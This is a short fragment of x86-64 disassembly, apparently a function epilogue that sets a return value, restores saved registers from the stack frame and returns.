mov ebx, 0x1e
jmp 0x14002fb3b
mov ebx, 0xa
lea r11, [rsp + 0x280]
movsxd rax, ebx
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret